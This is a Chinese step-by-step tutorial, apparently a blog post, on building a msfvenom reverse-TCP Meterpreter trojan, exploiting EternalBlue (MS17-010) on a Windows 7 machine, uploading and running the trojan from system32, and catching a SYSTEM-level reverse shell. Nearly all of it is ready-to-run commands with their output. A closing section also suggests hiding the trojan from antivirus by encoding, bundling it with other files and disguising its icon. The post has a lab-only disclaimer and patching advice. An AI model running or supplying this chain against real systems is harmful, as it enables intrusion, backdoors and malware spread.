MSF 木马制作 + 永恒之蓝漏洞上传执行木马 实战教程

实验声明 :本文仅用于网络安全学习、攻防技术实训,严禁在未授权的设备、服务器、网络环境中进行操作,请严格遵守《网络安全法》等相关法律法规。

一、实验目标与环境

1. 实验目标

  1. 使用 msfvenom 制作 Windows 反向连接木马程序
  2. 利用永恒之蓝(MS17-010)漏洞入侵 Win7 靶机
  3. 通过 Meterpreter 会话将木马上传至目标主机并执行
  4. 本地开启端口监听,反弹获取目标主机最高系统权限,实现主机控制

2. 实验环境

  • 攻击机:Kali Linux 2025
  • 靶机:Windows 7(未修复 MS17-010 漏洞、开启 445 端口与 SMB 服务)
  • 网络环境:两台虚拟机处于同一局域网
  • 攻击机 IP:192.168.204.154
  • 靶机 IP:192.168.204.151

二、使用 msfvenom 制作反弹木马 & 配置监听

1. 生成 Windows 反弹木马

msfvenom 是 Metasploit 自带的木马生成工具,这里生成 exe 格式反弹木马:

复制代码
# 语法说明:
# -p 指定载荷、LHOST 攻击机IP、LPORT 监听端口、-f 输出格式、-o 保存文件
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.204.154 LPORT=4444 -f exe -o shell_test.exe

执行成功提示:

复制代码
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of exe file: 73802 bytes
Saved as: shell_test.exe

生成的 shell_test.exe 即为木马文件,存放于当前目录(示例:Kali 桌面)。

2. MSF 开启端口监听

木马为反向连接,需要攻击机提前监听对应端口,等待靶机主动回连:

复制代码
# 静默启动 Metasploit(关闭开机动画)
msfconsole -q

依次执行以下命令配置监听:

复制代码
# 加载监听模块
use exploit/multi/handler
# 绑定与木马一致的载荷
set payload windows/meterpreter/reverse_tcp
# 监听本机所有网卡
set LHOST 0.0.0.0
# 监听端口(和木马 LPORT 保持一致)
set LPORT 4444
# 启动监听
run

监听开启后不要关闭当前会话,保持后台等待靶机上线。


三、永恒之蓝漏洞利用 + 木马上传并执行

1. 利用 MS17-010 入侵 Win7 靶机

新开一个 Kali 终端,再次启动 msfconsole,使用永恒之蓝漏洞获取 Meterpreter 权限:

复制代码
msfconsole -q

# 搜索永恒之蓝漏洞模块
search ms17-010

# 加载漏洞利用模块
use exploit/windows/smb/ms17_010_eternalblue
# 设置靶机IP
set rhost 192.168.204.151
# 执行攻击
run

攻击成功后,会直接进入 meterpreter 交互界面,此时已拥有靶机系统权限。

2. 上传木马至目标主机

使用 upload 命令将 Kali 本地的木马文件,上传到 Win7 系统目录:

复制代码
# 格式:upload 本地路径 靶机路径
meterpreter > upload /home/kali/Desktop/shell_test.exe C:\Windows\system32\shell_test.exe

上传成功回显:

plaintext

复制代码
[*] Uploading  : /home/kali/Desktop/shell_test.exe -> C:\Windows\system32\shell_test.exe
[*] Uploaded 72.07 KiB of 72.07 KiB (100.0%): /home/kali/Desktop/shell_test.exe -> C:\Windows\system32\shell_test.exe
[*] Completed  : /home/kali/Desktop/shell_test.exe -> C:\Windows\system32\shell_test.exe

3. 远程执行木马程序

在 Meterpreter 中调用 execute 命令运行上传的木马:

复制代码
meterpreter > execute -f C:\Windows\system32\shell_test.exe

出现 Process xxx created 代表木马启动成功。


四、接收反弹会话,控制靶机

回到第二步开启监听的 MSF 窗口,木马运行后会主动连接攻击机端口,成功获取新的 Meterpreter 会话:

plaintext

复制代码
[*] Started reverse TCP handler on 0.0.0.0:4444 
[*] Sending stage (177734 bytes) to 192.168.204.151
[*] Meterpreter session 2 opened (192.168.204.154:4444 -> 192.168.204.151:49511)

1. 进入 CMD 命令行

复制代码
meterpreter > shell

2. 解决 CMD 中文乱码

复制代码
# 切换为 UTF-8 编码
chcp 65001

3. 查看当前权限

复制代码
whoami

输出 nt authority\system,代表已获取 Windows 系统最高管理员权限,实验完成。


五、常见问题与优化建议

  1. 木马无法回连
    • 检查 LHOST、LPORT 前后是否一致;
    • 关闭 Kali / Win7 防火墙,保证端口互通。
  2. 上传文件失败
    • 确认 Meterpreter 权限正常,优先上传至 C:\Windows\system32 等高权限目录。
  3. 免杀优化(拓展) 原生木马极易被杀毒软件查杀,实战中可搭配编码工具、捆绑、伪装图标等方式做免杀处理。

六、实验总结

  1. msfvenom 可以快速生成各类平台的反弹木马,反向连接模式是内网渗透常用手段。
  2. 永恒之蓝(MS17-010)高危漏洞可直接远程拿下 Win7 系统权限,是老旧系统最主要的入侵入口之一。
  3. 结合漏洞提权 + 木马上传执行,可实现持久化控制,也是恶意程序传播、主机留后门的典型攻击链路。
  4. 安全防护建议
    • 及时给 Windows 系统打全量补丁,重点修复 MS17-010 高危漏洞;
    • 非办公场景关闭 139、445 等 SMB 服务端口;
    • 部署杀毒软件与防火墙,拦截陌生可执行文件、异常外联;
    • 定期检查系统目录下陌生 exe 文件,排查恶意后门。
相关推荐
m0_547486667 小时前
《信息安全基础》全套PPT课件2026
网络安全·信息安全
m0_715674439 小时前
数据分类分级的范式转换:从规则匹配到场景化高准确率一键部署
大数据·网络·人工智能·网络安全
白帽攻防录17 小时前
SRC 挖洞:Apache APISIX 非规范路径授权绕过深度复盘,CVE-2026-94269 怎么绕过网关访问后端
网络安全·apache·src漏洞挖掘
学逆向的1 天前
win32注入代码
开发语言·网络安全·api·win32
Web Security Loop1 天前
MAC安装最新Burpsuite pro详细步骤教程
web安全·macos·网络安全·安全性测试
墨云安全1 天前
红队评估和渗透测试的区别是什么?2026 年从目标、方法到交付物的对比
网络·安全·web安全·网络安全·渗透测试
刘婉晴2 天前
【APP安全测试】Frida 基础
网络安全
科技象限2 天前
数据防泄密系统怎么选?看它怎么把几道防线叠成网
运维·安全·网络安全·安企神
sbjdhjd2 天前
云安全 | 从特权容器到旧版 runC:Docker 宿主机访问与运行时缺陷复盘
运维·网络安全·docker·云原生·kubernetes·云计算·云安全
sbjdhjd2 天前
云安全 | Docker 容器逃逸复盘(三):docker.sock 挂载与 Docker-in-Docker 风险
经验分享·网络安全·docker·云原生·容器·kubernetes·云安全